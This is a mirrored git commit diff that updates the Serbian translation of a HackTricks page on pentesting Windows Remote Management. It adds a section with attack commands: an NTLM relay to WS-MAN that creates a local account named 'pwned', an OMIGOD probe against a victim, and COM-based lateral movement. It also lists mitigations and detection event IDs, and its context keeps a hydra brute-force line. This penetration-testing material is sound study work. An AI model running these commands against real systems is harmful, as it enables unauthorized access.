mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
parent
2e19e0ea9a
commit
6ae877b27f
@ -4,18 +4,18 @@
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) se ističe kao **protokol od Microsoft-a** koji omogućava **daljinsko upravljanje Windows sistemima** putem HTTP(S), koristeći SOAP u tom procesu. Osnovno je pokretan WMI-jem, predstavljajući se kao HTTP-bazirano sučelje za WMI operacije.
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) se ističe kao **protokol od strane Microsoft-a** koji omogućava **daljinsko upravljanje Windows sistemima** putem HTTP(S), koristeći SOAP u tom procesu. Osnovno je pokretan WMI-jem, predstavljajući se kao HTTP-bazirano sučelje za WMI operacije.
|
||||
|
||||
Prisutnost WinRM-a na mašini omogućava jednostavno daljinsko upravljanje putem PowerShell-a, slično načinu na koji SSH funkcioniše za druge operativne sisteme. Da bi se utvrdilo da li je WinRM operativan, preporučuje se provera otvaranja specifičnih portova:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
|
||||
Otvoren port sa gornje liste označava da je WinRM postavljen, čime se omogućavaju pokušaji započinjanja daljinske sesije.
|
||||
Otvoreni port sa gornje liste označava da je WinRM postavljen, čime se omogućavaju pokušaji započinjanja daljinske sesije.
|
||||
|
||||
### **Pokretanje WinRM Sesije**
|
||||
### **Započinjanje WinRM Sesije**
|
||||
|
||||
Da bi se konfigurisao PowerShell za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvata daljinske PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande mogu biti izvršene da omoguće ovu funkcionalnost i odrede bilo koji host kao pouzdan:
|
||||
Da bi se konfigurisao PowerShell za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvata daljinske PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande se mogu izvršiti da bi se omogućila ova funkcionalnost i odredio bilo koji host kao pouzdan:
|
||||
```bash
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
@ -30,7 +30,7 @@ Ova metoda omogućava daljinsko podešavanje WinRM-a, povećavajući fleksibilno
|
||||
|
||||
### Testirajte da li je konfigurisan
|
||||
|
||||
Da biste proverili podešavanje vaše napadačke mašine, koristi se komanda `Test-WSMan` da se proveri da li je ciljna mašina pravilno konfigurisana za WinRM. Izvršavanjem ove komande, očekujte da dobijete detalje o verziji protokola i wsmid-u, što ukazuje na uspešnu konfiguraciju. Ispod su primeri koji prikazuju očekivani izlaz za konfigurisan cilj u poređenju sa nekonfigurisanim:
|
||||
Da biste proverili podešavanje vaše napadačke mašine, koristi se komanda `Test-WSMan` da se proveri da li je cilj pravilno konfigurisan za WinRM. Izvršavanjem ove komande, trebali biste očekivati da dobijete detalje o verziji protokola i wsmid-u, što ukazuje na uspešnu konfiguraciju. Ispod su primeri koji prikazuju očekivani izlaz za konfigurisan cilj u poređenju sa nekonfigurisanim:
|
||||
|
||||
- Za cilj koji **je** pravilno konfigurisan, izlaz će izgledati slično ovome:
|
||||
```bash
|
||||
@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
|
||||
Ako pronađete sledeću grešku:
|
||||
|
||||
`enter-pssession : Povezivanje sa udaljenim serverom 10.10.10.175 nije uspelo sa sledećom porukom o grešci : WinRM klijent ne može obraditi zahtev. Ako je šema autentifikacije drugačija od Kerberos-a, ili ako klijentski računar nije pridružen domeni, tada se mora koristiti HTTPS transport ili odredišna mašina mora biti dodata u TrustedHosts konfiguraciju. Koristite winrm.cmd za konfiguraciju TrustedHosts. Imajte na umu da računari na listi TrustedHosts možda neće biti autentifikovani. Možete dobiti više informacija o tome pokretanjem sledeće komande: winrm help config. Za više informacija, pogledajte temu pomoći about_Remote_Troubleshooting.`
|
||||
`enter-pssession : Povezivanje sa udaljenim serverom 10.10.10.175 nije uspelo sa sledećom porukom o grešci : WinRM klijent ne može obraditi zahtev. Ako je šema autentifikacije drugačija od Kerberosa, ili ako klijentski računar nije pridružen domeni, tada se mora koristiti HTTPS transport ili odredišna mašina mora biti dodata u TrustedHosts konfiguraciju. Koristite winrm.cmd za konfiguraciju TrustedHosts. Imajte na umu da računari na listi TrustedHosts možda neće biti autentifikovani. Možete dobiti više informacija o tome pokretanjem sledeće komande: winrm help config. Za više informacija, pogledajte temu pomoći about_Remote_Troubleshooting.`
|
||||
|
||||
Pokušajte na klijentu (informacije iz [ovde](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
@ -220,7 +220,72 @@ end
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Nedavne ranjivosti i ofanzivne tehnike (2021-2025)
|
||||
|
||||
### NTLM relaying direktno na WinRM (WS-MAN)
|
||||
Od Impacket 0.11 (maj 2023) `ntlmrelayx.py` može da prenese uhvaćene NTLM akreditive direktno na **WS-MAN**/WinRM slušalac. Kada host još uvek sluša na **nešifrovanom HTTP (5985)**, napadač može da kombinuje *mitm6* (ili *Responder*) da bi primorao autentifikaciju i dobio izvršavanje koda na SISTEM nivou:
|
||||
```bash
|
||||
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
|
||||
--command "net user pwned P@ssw0rd! /add"
|
||||
```
|
||||
Mitigacije
|
||||
* Onemogućite HTTP slušaoce – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
|
||||
* Prisilite HTTPS i omogućite proširenu zaštitu za autentifikaciju (EPA) na novijim verzijama Windows-a.
|
||||
|
||||
### OMIGOD – CVE-2021-38647 (Azure OMI)
|
||||
Azure Linux agenti koriste **Open Management Infrastructure (OMI)** servis koji izlaže WinRM/WS-MAN API na portovima **5985/5986**. Logička greška je omogućila **neautentifikovani RCE kao root**:
|
||||
```text
|
||||
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
|
||||
```
|
||||
Patch or remove OMI (version ≥ 1.6.8-1) and block those ports from the Internet.
|
||||
|
||||
### WSMan.Automation COM zloupotreba za lateralno kretanje
|
||||
WinRM se može koristiti bez PowerShell-a putem `WSMan.Automation` COM objekta – korisno na sistemima u režimu ograničenog jezika. Alati kao što su *SharpWSManWinRM* obavijaju ovu tehniku:
|
||||
```powershell
|
||||
$ws = New-Object -ComObject 'WSMan.Automation'
|
||||
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
|
||||
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
|
||||
$session.Signal($cmdId,0)
|
||||
```
|
||||
Lanac izvršenja (`svchost → wmiprvse → cmd.exe`) je identičan klasičnom PS-Remoting-u.
|
||||
|
||||
---
|
||||
|
||||
## Ažuriranja alata
|
||||
|
||||
* **Evil-WinRM v3.x (2024)** – sada podržava **Kerberos** (`-k` / `--spn`) i **autentifikaciju zasnovanu na sertifikatima** (`--cert-pem`/`--key-pem`), logovanje sesija (`-L`) i mogućnost onemogućavanja završetka udaljenih putanja (`-N`).
|
||||
|
||||
```bash
|
||||
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
|
||||
```
|
||||
|
||||
* **Python – `pypsrp` 0.9 (2024)** nudi WinRM & PS-Remoting iz Linux-a, uključujući CredSSP i Kerberos:
|
||||
|
||||
```python
|
||||
from psrp.client import Client
|
||||
c = Client('srv01', username='ACME\\j.doe', ssl=True)
|
||||
print(c.execute_cmd('ipconfig /all').std_out.decode())
|
||||
```
|
||||
|
||||
* **Detekcija** – pratite **Microsoft-Windows-WinRM/Operational** log:
|
||||
* Događaj 91 / 163 – shell kreiran
|
||||
* Događaj 182 – neuspeh autentifikacije
|
||||
* U logu bezbednosti događaj 4262 beleži izvorni IP (dodato jula 2022. CUs).
|
||||
Prikupite ih centralno i upozorite na anonimne ili spoljne IP adrese.
|
||||
|
||||
---
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
|
||||
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
@ -261,4 +326,6 @@ Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user